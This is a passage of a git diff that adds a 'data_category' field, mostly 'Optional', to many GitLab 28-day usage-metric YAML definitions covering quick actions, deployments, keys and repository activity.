+++ b/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_monthly
description: Count of MAU using the `/copy_metadata` quick action on an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml b/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml
index 9a83fe2b6e4..bb5918c155a 100644
--- a/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml
+++ b/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_create_merge_request_monthly
description: Count of MAU using the `/create_merge_request` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml b/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml
index 9a90dc7a972..7f607aa3dd0 100644
--- a/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml
+++ b/config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_done_monthly
description: Count of MAU using the `/done` quick action to mark a todo as done
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml b/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml
index 778c15ac26b..8987d7325e7 100644
--- a/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml
+++ b/config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_draft_monthly
description: Count of MAU using the `/draft` quick action on a Merge Request
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml b/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml
index 2c785a8653a..551975324bc 100644
--- a/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml
+++ b/config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_due_monthly
description: Count of MAU using the `/due` quick action to change the due date on an issuable
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml b/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml
index 68b668e7fc1..b7e6cec88cf 100644
--- a/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_duplicate_monthly
description: Count of MAU using the `/duplicate` quick action to mark an issue as a duplicate of another
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml b/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml
index a14340571a6..ac99b84040d 100644
--- a/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_estimate_monthly
description: Count of MAU using the `/estimate` quick action to set a time estimate on an issue
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml b/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml
index d078d4bc7ce..481798bbcd0 100644
--- a/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml
+++ b/config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_label_monthly
description: Count of MAU using the `/label` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml b/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml
index 5be644e630f..9e2a63ef679 100644
--- a/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml
+++ b/config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_lock_monthly
description: Count of MAU using the `/lock` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml b/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml
index 8dcdee2b041..7e9130cea34 100644
--- a/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml
+++ b/config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_merge_monthly
description: Count of MAU using the `/merge` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml b/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml
index bb1b0d332fd..ca01e8c22e1 100644
--- a/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml
+++ b/config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_milestone_monthly
description: Count of MAU using the `/milestone` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml b/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml
index 30c1794a4a1..89f1ee7ed89 100644
--- a/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml
+++ b/config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_move_monthly
description: Count of MAU using the `/move` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml b/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml
index 8672b1aa7b8..3ea1c762b8b 100644
--- a/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml
+++ b/config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_reassign_monthly
description: Count of MAU using the `/reassign @user1` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml b/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml
index 5ac680311f3..f7f314181ae 100644
--- a/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml
+++ b/config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_reassign_reviewer_monthly
description: Count of MAU using the `/reassign_reviewer` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml b/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml
index 16c1cbd1360..5fb1f9782ba 100644
--- a/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml
+++ b/config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_rebase_monthly
description: Count of MAU using the `/rebase` quick action on a Merge Request
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml b/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml
index 0d8cbf4fb0b..8d695c1cae6 100644
--- a/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml
+++ b/config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_relabel_monthly
description: Count of MAU using the `/relabel` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml b/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml
index 9faa26a1236..8d5e2f28110 100644
--- a/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_relate_monthly
description: Count of MAU using the `/relate` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml b/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml
index d322615104d..f008cc32c60 100644
--- a/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml
+++ b/config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_due_date_monthly
description: Count of MAU using the `/remove_due_date` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml b/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml
index 013ae8790a1..4f916ec0790 100644
--- a/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_estimate_monthly
description: Count of MAU using the `/remove_estimate` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml b/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml
index c3faaf91c0a..238f1d6aeae 100644
--- a/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml
+++ b/config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_milestone_monthly
description: Count of MAU using the `/remove_milestone` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml b/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml
index 204c3369837..c8d2fee4a36 100644
--- a/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml
+++ b/config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_time_spent_monthly
description: Count of MAU using the `/remove_time_spent` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml b/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml
index fcc04db33b8..275dc78a488 100644
--- a/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml
+++ b/config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_remove_zoom_monthly
description: Count of MAU using the `/remove_zoom` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml b/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml
index 863c61968af..43017704a3b 100644
--- a/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml
+++ b/config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_reopen_monthly
description: Count of MAU using the `/reopen` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml b/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml
index 0c4f6733999..2d863104808 100644
--- a/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml
+++ b/config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_shrug_monthly
description: Count of MAU using the `/shrug` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml b/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml
index 74d8e8e7ad3..e02663015f1 100644
--- a/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml
+++ b/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_spend_subtract_monthly
description: Count of MAU using the `/spend` quick action to subtract time spent
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml b/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml
index 619996168d2..38eca135cc4 100644
--- a/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml
+++ b/config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_spend_add_monthly
description: Count of MAU using the `/spend` quick action to add time spent
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml b/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml
index 3708266fd04..0c06fca60a0 100644
--- a/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml
+++ b/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_submit_review_monthly
description: Count of MAU using the `/submit_review` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml b/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml
index be39d3c91c6..4e0605f1ee6 100644
--- a/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml
+++ b/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_subscribe_monthly
description: Count of MAU using the `/subscribe` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml b/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml
index 6c1f138971f..1690e634a01 100644
--- a/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml
+++ b/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_tableflip_monthly
description: Count of MAU using the `/tableflip` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml b/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml
index 2acae16666a..84f201ebb21 100644
--- a/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml
+++ b/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_tag_monthly
description: Count of MAU using the `/tag` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml b/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml
index e0d0c008b72..7a792e721f6 100644
--- a/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml
+++ b/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_target_branch_monthly
description: Count of MAU using the `/target_branch` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml b/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml
index 3caea4e2eb5..31c10b3ac34 100644
--- a/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml
+++ b/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_title_monthly
description: Count of MAU using the `/title` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml b/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml
index cff94935c33..99866112c5d 100644
--- a/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml
+++ b/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_todo_monthly
description: Count of MAU using the `/todo` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml b/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml
index d2924129056..4cbc8aea8f6 100644
--- a/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml
+++ b/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unassign_specific_monthly
description: Count of MAU using the `/unassign @user1` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml b/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml
index da7317161c8..220db3470dd 100644
--- a/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml
+++ b/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unassign_all_monthly
description: Count of MAU using the `/unassign` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml b/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml
index f807469caf6..7a9f050ebbf 100644
--- a/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml
+++ b/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_monthly
description: Count of MAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml b/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml
index 3e33f8ce3a1..65ad4cd898c 100644
--- a/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml
+++ b/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unlabel_specific_monthly
description: Count of MAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml b/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml
index f32c83f940e..6fd22faa3d7 100644
--- a/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml
+++ b/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unlabel_all_monthly
description: Count of MAU using the `/unlabel` quick action to remove all labels
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml b/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml
index bb1b636661d..e47a83fd09e 100644
--- a/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml
+++ b/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unlock_monthly
description: Count of MAU using the `/unlock` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml b/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml
index c3461c4f015..406edee8795 100644
--- a/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml
+++ b/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_unsubscribe_monthly
description: Count of MAU using the `/unsubscribe` quick action
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml b/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml
index e85ddf9bf2b..d8d2778ac38 100644
--- a/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml
+++ b/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_wip_monthly
description: Count of MAU using the `/wip` quick action on Merge Requests
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml b/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml
index 03df4769081..a619b3def45 100644
--- a/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml
+++ b/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_zoom_monthly
description: Count of MAU using the `/zoom` quick action on Issues
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181923_successful_deployments.yml b/config/metrics/counts_28d/20210216181923_successful_deployments.yml
index 76464e5dd27..de1b4a6a583 100644
--- a/config/metrics/counts_28d/20210216181923_successful_deployments.yml
+++ b/config/metrics/counts_28d/20210216181923_successful_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.successful_deployments
description: Total successful deployments
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181924_failed_deployments.yml b/config/metrics/counts_28d/20210216181924_failed_deployments.yml
index e1d7f0b9762..92a7dc95186 100644
--- a/config/metrics/counts_28d/20210216181924_failed_deployments.yml
+++ b/config/metrics/counts_28d/20210216181924_failed_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.failed_deployments
description: Total failed deployments
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181935_deployments.yml b/config/metrics/counts_28d/20210216181935_deployments.yml
index e8a4ee547e8..21dcf0a3884 100644
--- a/config/metrics/counts_28d/20210216181935_deployments.yml
+++ b/config/metrics/counts_28d/20210216181935_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.release.deployments
description: Unique users triggering deployments
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181937_failed_deployments.yml b/config/metrics/counts_28d/20210216181937_failed_deployments.yml
index 2a14b42d03d..75496173175 100644
--- a/config/metrics/counts_28d/20210216181937_failed_deployments.yml
+++ b/config/metrics/counts_28d/20210216181937_failed_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.release.failed_deployments
description: Total failed deployments
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181939_releases.yml b/config/metrics/counts_28d/20210216181939_releases.yml
index bd76a32c973..232a8c12873 100644
--- a/config/metrics/counts_28d/20210216181939_releases.yml
+++ b/config/metrics/counts_28d/20210216181939_releases.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.release.releases
description: Unique users creating release tags
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181941_successful_deployments.yml b/config/metrics/counts_28d/20210216181941_successful_deployments.yml
index b2052281d6e..a3c5e8f7374 100644
--- a/config/metrics/counts_28d/20210216181941_successful_deployments.yml
+++ b/config/metrics/counts_28d/20210216181941_successful_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.release.successful_deployments
description: Total successful deployments
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181951_clusters_applications_runner.yml b/config/metrics/counts_28d/20210216181951_clusters_applications_runner.yml
index a4047f8eabe..f80caef1333 100644
--- a/config/metrics/counts_28d/20210216181951_clusters_applications_runner.yml
+++ b/config/metrics/counts_28d/20210216181951_clusters_applications_runner.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.verify.clusters_applications_runner
description: Total GitLab Managed clusters with Runner enabled
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181956_user_unique_users_all_secure_scanners.yml b/config/metrics/counts_28d/20210216181956_user_unique_users_all_secure_scanners.yml
index c676e83f2d9..a1d2b955480 100644
--- a/config/metrics/counts_28d/20210216181956_user_unique_users_all_secure_scanners.yml
+++ b/config/metrics/counts_28d/20210216181956_user_unique_users_all_secure_scanners.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage_monthly.secure.user_unique_users_all_secure_scanners
description:
product_section: sec
diff --git a/config/metrics/counts_28d/20210216182034_deploy_keys.yml b/config/metrics/counts_28d/20210216182034_deploy_keys.yml
index 0f5a6b3c03d..62ce9d03fa0 100644
--- a/config/metrics/counts_28d/20210216182034_deploy_keys.yml
+++ b/config/metrics/counts_28d/20210216182034_deploy_keys.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.deploy_keys
description: Count of users creating deploy keys in last 28 days.
product_section: dev
diff --git a/config/metrics/counts_28d/20210216182036_keys.yml b/config/metrics/counts_28d/20210216182036_keys.yml
index eb82cc1f0e6..95d2524dd6e 100644
--- a/config/metrics/counts_28d/20210216182036_keys.yml
+++ b/config/metrics/counts_28d/20210216182036_keys.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.keys
description: Count of users creating regular keys in last 28 days.
product_section: dev
diff --git a/config/metrics/counts_28d/20210216182038_remote_mirrors.yml b/config/metrics/counts_28d/20210216182038_remote_mirrors.yml
index bb64dcb32ca..01375ac0584 100644
--- a/config/metrics/counts_28d/20210216182038_remote_mirrors.yml
+++ b/config/metrics/counts_28d/20210216182038_remote_mirrors.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.remote_mirrors
description: Count of users creating projects with remote mirrors. Includes both push and pull mirrors.
product_section: dev
diff --git a/config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml b/config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml
index f1f00fe59e3..cecef03078d 100644
--- a/config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml
+++ b/config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_project_repo
description: Count of monthly active users who have performed any Git operation (read/write/push)
product_section: dev
diff --git a/config/metrics/counts_28d/20210216182041_action_monthly_active_users_git_write.yml b/config/metrics/counts_28d/20210216182041_action_monthly_active_users_git_write.yml
index de369a47ffb..b91b87800e1 100644
--- a/config/metrics/counts_28d/20210216182041_action_monthly_active_users_git_write.yml
+++ b/config/metrics/counts_28d/20210216182041_action_monthly_active_users_git_write.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_git_write
description: Aggregated value for wiki, design, and project repo Git write actions
product_section: dev
diff --git a/config/metrics/counts_28d/20210216182051_protected_branches.yml b/config/metrics/counts_28d/20210216182051_protected_branches.yml
index 83c923c173e..196ecce497e 100644
--- a/config/metrics/counts_28d/20210216182051_protected_branches.yml
+++ b/config/metrics/counts_28d/20210216182051_protected_branches.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.create.protected_branches
description: Count of users creating projects with repositories making use of at least one protected branch in last 28 days.
product_section: dev
diff --git a/config/metrics/counts_28d/20210216182102_wiki_action_monthly.yml b/config/metrics/counts_28d/20210216182102_wiki_action_monthly.yml
index 527cc42df22..834bfca933b 100644
--- a/config/metrics/counts_28d/20210216182102_wiki_action_monthly.yml
+++ b/config/metrics/counts_28d/20210216182102_wiki_action_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.wiki_action_monthly
